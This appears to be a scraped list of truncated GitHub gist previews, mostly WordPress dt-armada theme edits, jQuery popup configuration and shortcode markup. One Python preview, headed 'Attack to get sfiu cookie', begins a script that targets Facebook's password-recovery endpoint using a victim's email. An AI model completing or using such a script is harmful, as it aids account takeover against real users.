This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Please edit | |
/wp-content/themes/dt-armada/inc/shortcodes/includes/benefits-vc.php line 137 | |
change | |
$title = sprintf( '<%1$s>%2$s</%1$s>', $attributes['header_size'], $attributes['title'] ); | |
to | |
$title = sprintf( '<%1$s><a href="%3$s">%2$s</a></%1$s>', $attributes['header_size'], $attributes['title'],$attributes['image_link'] ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/*! Magnific Popup - v1.1.0 - 2016-02-20 | |
* http://dimsemenov.com/plugins/magnific-popup/ | |
* Copyright (c) 2016 Dmitry Semenov; */ | |
;(function (factory) { | |
if (typeof define === 'function' && define.amd) { | |
// AMD. Register as an anonymous module. | |
define(['jquery'], factory); | |
} else if (typeof exports === 'object') { | |
// Node/CommonJS | |
factory(require('jquery')); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
jQuery(document).ready(function($) { | |
dtGlobals.magnificPopupBaseConfig = { | |
type: 'image', | |
tLoading: 'Loading image ...', | |
mainClass: 'mfp-img-mobile', | |
removalDelay: 300, | |
image: { | |
tError: '<a href="%url%">The image #%curr%</a> could not be loaded.', | |
titleSrc: function(item) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
, | |
basicInit : function() { | |
retinizer(); | |
var $container = this.settings.targetContainer; | |
$('.dt-gallery-mfp-popup', $container).not('.mfp-ready').on('click', function(){ | |
var $this = $(this), | |
$container = $this.parents('article.post'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! usr/bin/python | |
# -*- coding: utf-8 -*- | |
import requests | |
######################### Attack to get sfiu cookie ###################### | |
url = 'https://touch.facebook.com/login/identify/?ctx=recover&ref=wizard' | |
phno = raw_input('Enter EmailId:\n>') | |
payload = { | |
'lsd' : 'AVqoLCeF', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action( 'get_header', 'dt_archive_sidebar', 10 ); | |
function dt_archive_sidebar() { | |
$config = Presscore_Config::get_instance(); | |
if(is_archive() || is_category() ||is_search() ){ | |
$config->set( 'sidebar_position', 'right' ); | |
$config->set( 'footer_widgetarea_id', 'sidebar_1' ); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[vc_row margin_top="-5" padding_left="40" padding_right="40" bg_position="top" bg_repeat="no-repeat" bg_cover="false" bg_attachment="false" padding_top="40" padding_bottom="40" parallax_speed="0.1"][vc_column width="1/1"][dt_fancy_title title="Fixed image width, autoslide" title_align="left" title_size="h6" title_color="custom" separator_style="disabled" el_width="100" title_bg="enabled" separator_color="accent" custom_title_color="#ffffff"][vc_empty_space height="45px"][dt_small_photos height="166" width="166" padding="0" arrows="dark" number="8" orderby="recent" category="photo-wall-album" autoslide="4000" loop="true"][vc_empty_space height="80px"][dt_fancy_title title="Proportional image width" title_align="left" title_size="h6" title_color="custom" separator_style="disabled" el_width="100" title_bg="enabled" separator_color="accent" custom_title_color="#ffffff"][vc_empty_space height="45px"][dt_small_photos height="180" padding="0" arrows="light" number="8" orderby="recent" category="people" loop="true"][ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_filter( 'dt_menu_options', 'custom_menu_filter' ); | |
function custom_menu_filter( $options = array() ) { | |
if(is_page( 42 )) { | |
$options['location'] = 'foo'; | |
} | |
if(is_category( )) { | |
$options['location'] = 'bar'; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="UTF-8"?> | |
<configuration> | |
<system.webServer> | |
<rewrite> | |
<rules> |